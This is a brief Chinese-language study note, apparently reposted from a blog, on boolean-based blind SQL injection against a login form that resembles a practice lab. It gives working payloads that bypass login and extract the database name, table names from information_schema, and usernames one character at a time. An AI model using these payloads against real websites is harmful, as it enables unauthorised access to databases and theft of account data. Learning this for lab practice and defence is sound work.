sql 注入基于布尔值的盲注

1、进行各种判断,并没有爆出错误。使用万能语句登录成功。
2、没回显,故进行基于布尔值得盲注
3、用 or 密码为错。故用 or类似于1=1 的原理

语法:
报数据库
1、uname=111' or(select ascii(substr(database(),1,1))>100)#&passwd=&submit=Submit
包表名:
(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1)
3就是猜字段:
select * from *
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1))<100)#&passwd=&submit=Submit
论linit 0,1 的重要性。

# limit 0,1, 从你的表中的第0个数据开始,只读取一个;

猜你喜欢

转载自www.cnblogs.com/123xu/p/9017047.html